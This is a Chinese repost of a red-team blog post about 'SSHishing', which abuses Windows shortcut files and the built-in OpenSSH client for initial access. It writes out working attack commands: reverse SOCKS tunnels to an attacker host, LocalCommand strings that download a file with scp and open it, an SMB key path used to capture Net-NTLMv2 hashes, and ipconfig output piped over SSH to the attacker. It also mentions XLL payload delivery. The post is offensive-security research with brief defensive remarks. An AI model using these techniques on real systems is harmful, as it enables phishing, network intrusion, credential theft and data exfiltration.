SSHishing - 滥用快捷方式文件和 Windows SSH 客户端进行初始访问

admin 2024年4月22日02:59:11评论3 views字数 5127阅读17分5秒阅读模式

SSHishing - 滥用快捷方式文件和 Windows SSH 客户端进行初始访问

这篇文章介绍了如何利用 Windows 10 版本 1803 中默认启用的 OpenSSH 客户端以及相关的技术和工具进行攻击和渗透测试。作者详细讨论了利用 SSH 客户端在受害者机器上打开反向动态端口转发的方法,以及如何结合 Windows 快捷方式文件 (.lnk) 来实施钓鱼攻击。文章提到了利用 SSH 客户端的各种选项和参数来构建恶意快捷方式文件,并且展示了如何通过在快捷方式文件中执行命令来实现更复杂的攻击,比如从攻击者机器传输文件到受害者机器,以及在受害者机器上执行命令并将结果发送到攻击者机器。此外,作者还提到了一些防御方面的建议,以及一种用于检测类似攻击行为的 Sigma 规则。文章中还提到了一些可能的检测和防御方法。

在 2018 年 4 月发布的 Windows 10 版本 1803 中,微软宣布Windows OpenSSH 客户端将默认发布并启用(服务器仍然是必须手动启用的可选功能)。虽然这为一小部分 Windows 用户(包括我自己)的生活质量带来了积极的改变,但它也为攻击性安全恶作剧带来了一些有趣的新可能性。大多数有关 SSH 和攻击性安全的文档都涉及暴力破解 SSH 登录或创建端口转发隧道;但当与其他技术相结合时,SSH 作为非常规初始访问向量的一部分提供了一些令人兴奋的可能性。

快速了解 Windows 快捷方式

在继续讨论“新”内容之前,我们应该花点时间讨论一下 Windows 快捷方式文件 (.lnk)。这些蠕虫长期以来一直出现在进攻性安全舞台上,著名的Stuxnet蠕虫病毒就是它们在杀伤链中使用的早期例子。可以使用提供的命令行参数运行程序的小文件、勒索软件团伙和威胁行为者继续滥用这种文件格式来传播恶意软件;我本人之前就探索并发布了一个与创建恶意快捷方式相关的工具。其中许多文件以 cmd.exe 或 powershell.exe 为目标来执行任意命令,通常与更改的图标结合使用,以帮助掩盖它实际上不是向用户承诺的 PDF 或 Excel 电子表格的事实:

SSHishing - 滥用快捷方式文件和 Windows SSH 客户端进行初始访问

以 cmd.exe 为目标且图标已更改的 Windows 快捷方式文件

Windows SSH 客户端 (C:WindowsSystem32OpenSSHssh.exe) 也可以通过快捷方式作为目标,各种高级选项都可以作为“目标”字段的一部分作为参数传递。选择不是 cmd.exe 或 powershell.exe 的目标会大大降低快捷方式被标记为恶意的可能性,因此任何支持命令执行或某种远程访问的二进制文件都值得探索。

输入SSH

初始访问技术经常涉及植入程序的检索和执行,该植入程序为攻击者在受感染的计算机上提供代码执行。基线 Windows SSH 客户端的存在为有趣的替代方案打开了大门,例如使用 Microsoft 分布式程序打开转发到攻击者计算机的反向动态端口:

SSHishing - 滥用快捷方式文件和 Windows SSH 客户端进行初始访问

VirusTotal 对 ssh.exe 的分析(OpenSSH_for_Windows_9.5p1、LibreSSL 3.8.2)

许多进攻性安全专家都会熟悉通过 SSH 创建动态端口转发(例如ssh -D 9050 user@targetip),但很少有人意识到通过使用创建反向的能力-R 旗帜。该标志也应该很熟悉,因为它用于建立远程端口转发。正如SSH 的 OpenBSD 手册页所解释的那样,由于未能指定要转发的流量的显式目的地,SSH 将充当 SOCKS 代理(例如ssh -R 9050 hacker@attackerip):

-R [绑定地址:]端口:主机:主机端口

-R [绑定地址:]端口本地套接字

-R 远程套接字主机主机端口

-R 远程套接字本地套接字

-R [绑定地址:]端口

指定将远程(服务器)主机上给定 TCP 端口或 Unix 套接字的连接转发到本地端。

这是通过分配一个套接字来侦听 TCP端口或远程端的 Unix 套接字来实现的。每当与此端口或 Unix 套接字建立连接时,都会通过安全通道转发连接,并从本地计算机向主机端口hostportlocal_socket指定的显式目的地建立连接或者如果没有显式目的地指定后,ssh将充当 SOCKS 4/5 代理并将连接转发到远程 SOCKS 客户端请求的目的地

@n00py最近发表的 TrustedSec 博客中也对此进行了介绍,题为《我们在家拥有的 SOCKS》,这是一本精彩的读物,其基础与本研究类似。

在上述任一情况下,-D或-R,结果是相同的:攻击者的计算机上绑定了一个端口,通过该端口可以在本地运行各种攻击工具并通过隧道到达受害者网络。下面的 Paint 3D 憎恶说明了这一点:

SSHishing - 滥用快捷方式文件和 Windows SSH 客户端进行初始访问

从受感染的主机到可公开路由的攻击者计算机打开的反向动态端口转发

因此,工作计划是创建一个快捷方式文件,调用 SSH 打开反向动态端口转发到我们的公共可路由机器(AWS、Digital Ocean 等)。这样做会带来一些逻辑挑战,因为通过 SSH 进行身份验证通常需要用户输入密码或提供私钥。打开快捷方式的受害者显然不知道该帐户的密码(我们也可能不想询问他们),并且根据快捷方式文件分发给受害者的方式(例如在 .zip 中),可能很难如果从容器内运行快捷方式,则可以可靠地传递和访问密钥。简单的答案是不需要密码或密钥即可登录。

如果你的脑海中响起了警钟,那么它们应该是;这意味着我们将分发允许任何人访问我们的计算机的恶意软件,因为要打开隧道,必须首先通过 SSH 成功进行身份验证。这是一个合理的担忧,但可以通过防火墙规则以及对 SSH 服务器配置进行特定配置更改以限制帐户的功能来解决,这两者都将在稍后进一步讨论。

建造一个怪物

SSH 客户端支持大量的开关和选项,这些开关和选项可以修改客户端或 SSH 会话本身的行为,其中许多在建议的场景中可能很有用。SSH Linux 手册页提供了可用选项的详细解释和细分,其中大多数(全部?)都在我们关注的 Windows 客户端中镜像和可用。通过组合多个可用的开关,可以创建一个强大且令人信服的网络钓鱼工具。

创建反向动态端口转发的基本 SSH 命令是:

ssh -R 0 user@attackerip

指定0 for the port 指示 SSH 识别并选择远程计算机上的可用端口;为了能够支持多个同时成功的网络钓鱼,这一点至关重要,就好像指定了静态端口(如 9050),连续的受害者将无法绑定该端口并打开隧道。

首次使用 SSH 连接到计算机时,会向用户显示一条警告消息:

SSHishing - 滥用快捷方式文件和 Windows SSH 客户端进行初始访问

SSH 未知主机警告

可以通过使用以下命令来抑制此警告-o切换以禁用严格的主机密钥检查 环境:

-o "StrictHostKeyChecking=no"

通过直接使用快捷方式文件定位 ssh.exe 所带来的优势也伴随着一些缺点,其中最主要的是连续的命令无法链接在一起并在受害者系统上执行;使用像这样的运算符&& 和; 需要一个 cmd.exe 进程,而我们没有。如果没有执行额外命令的能力,就很难提供令人信服的网络钓鱼体验来避免怀疑。幸运的是 SSH 提供了本地命令选项, Linux 手册页对此提供了很好的解释:

本地命令

指定成功连接到服务器后在本地计算机上执行的命令。命令字符串延伸到行尾,并使用用户的 shell 执行。将执行以下转义字符替换:“%d”(本地用户的主目录)、“%h”(远程主机名)、“%l”(本地主机名)、“%n”(上提供的主机名)命令行)、“%p”(远程端口)、“%r”(远程用户名)或“%u”(本地用户名)。除非启用PermitLocalCommand,否则该指令将被忽略。

使用此选项,我们可以指定由作为 ssh.exe 子进程生成的 cmd.exe 进程执行的命令。有趣的是,即使 ssh.exe 已通过 GPO 禁用,它也能够生成 cmd.exe 并执行命令:

SSHishing - 滥用快捷方式文件和 Windows SSH 客户端进行初始访问

即使通过 GPO 禁用 ssh.exe 也可以生成 cmd.exe

这开启了一系列新的、令人兴奋的可能性。值得注意的是,运行使用此选项的 SSH 命令时,事件有特定的顺序:

  1. SSH 对远程计算机进行身份验证

  2. 运行 LocalCommand 指定的命令

  3. 创建/执行隧道和/或 SSH 命令

我立即想到的一个想法是调用 scp.exe 将文件从攻击者的计算机传输到受害者。可以使用以下命令将其他命令链接到 SCP 调用&&,并通过直接调用下载的文件,它将在指定文件类型的默认应用程序中打开。请注意,使用本地命令需要允许本地命令还可以指定选项:

ssh -o "PermitLocalCommand=yes" -o "LocalCommand=scp sshisher@attackerip:myfile.pdf %userprofile%. && %userprofile%myfile.pdf" sshisher@attackerip

通过将其与反向动态端口转发语法相结合,计划开始可视化:下载并执行一个看起来像 PDF 的快捷方式文件,在弹出一个令人讨厌的“您确定要打开此文件吗”之后根据网络标记,受害者将下载并打开真正的 PDF,同时在后台打开反向动态端口转发。

然而,还有更多事情可以做。例如-i开关,它标识用于身份验证的私钥,可用于尝试从 SMB 共享加载密钥:

ssh -i \attackeripkey.pem sshisher@attackerip

该密钥并不真正存在,因此 SSH 会退回到(无密码)身份验证。通过在攻击者的机器上运行responder,可以捕获Net-NTLMv2哈希值:

SSHishing - 滥用快捷方式文件和 Windows SSH 客户端进行初始访问

响应者捕获的 Net-NTLMv2 哈希值

允许 SMB 流量流出网络的频率,以及尝试这样做是否会引起怀疑,都是有争议的。在 X 上进行的一项极其科学的民意调查发现,40% 的受访者在他们遇到的至少 25% 的网络中遇到了 SMB/445 流量被允许出站的情况:

SSHishing - 滥用快捷方式文件和 Windows SSH 客户端进行初始访问

在许多情况下,SMB 仍被允许出站

说到防火墙和阻止出站流量,-p 开关可用于通过 SSH 连接到非标准端口。某些环境可能会阻止端口 22 上的出站流量,但允许端口 80 或 443 传出网络。令人烦恼的是,编写 scp 命令时的等效选项是 -P:

ssh -o "PermitLocalCommand=yes" -o "LocalCommand=scp -P 443 sshisher@attackerip:myfile.pdf %userprofile%. && %userprofile%myfile.pdf" -p 443 sshisher@attackerip

请记住,虽然通过受害者系统打开了隧道,暴露了它所连接的内部网络,但既没有植入程序来收集有关系统的元数据,也没有运行后续态势感知命令的能力。即使受害机器的 IP 地址(由 SSH 会话记录)也将是公共地址,因此对于确定专用网络的结构没有太大帮助。帮助克服这些限制的另一个巧妙技巧是运行命令并将输出通过管道传输到 SSH,该输出可以重定向到远程计算机上的文件:

ipconfig /all | ssh sshisher@attackerip "cat - > %computername%_info.txt"

SSHishing - 滥用快捷方式文件和 Windows SSH 客户端进行初始访问

受害机器的 ipconfig /all 输出

当然,添加这些附加功能会使保护攻击者机器的安全变得更加困难。糟糕的是我们允许用户无需密码或密钥即可连接,但现在他们需要能够:

1.使用 scp 下载文件,但只能从某个目录下载

2.将数据写入文件,但同样只能写入允许的位置

3.打开 SSH 隧道,但不允许使用我们的服务器作为转发到其他地方的端口(例如 -L 或 -D)

虽然不会解释锁定 SSH 服务器以满足这些目标的具体细节,但我建议查看 /etc/ssh/sshd_config 中的以下选项和设置:

1.ForceCommand SSHD 指令可用于在使用 SSH 登录时强制执行特定脚本。

2.PermitOpen 和 PermitListen SSHD 配置选项可分别用于限制本地和远程端口转发。

3.禁用 SFTP 以确保任何人都无法建立会话并浏览攻击者的系统

前两条甚至可以针对每个用户应用:

SSHishing - 滥用快捷方式文件和 Windows SSH 客户端进行初始访问

攻击者系统上 /etc/ssh/sshd_config信息

通过结合上述所有提示和技巧,可以开发如下的网络钓鱼体验:

为了保护知识产权和信息,本演示对某些方面进行了更改/改变,但您已经明白了要点。自定义 chtunnel 命令使管理隧道变得更加容易。

除了向前打开反向动态端口之外,该技术还可用于运行更传统的有效负载。使用 scp.exe 将文件传输到受害计算机的一个主要优点是不应用 Web 标记。例如,修改后的快捷方式文件可能使用 scp 将 XLL 有效负载传输给受害者并通过直接调用来执行它:

SSHishing 用于下载并执行 XLL 有效负载
原文地址:
https://redsiege.com/blog/2024/04/sshishing-abusing-shortcut-files-and-the-windows-ssh-client-for-initial-access/

原文始发于微信公众号(Ots安全):SSHishing – 滥用快捷方式文件和 Windows SSH 客户端进行初始访问

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日02:59:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSHishing - 滥用快捷方式文件和 Windows SSH 客户端进行初始访问https://cn-sec.com/archives/2631947.html

发表评论

匿名网友 填写信息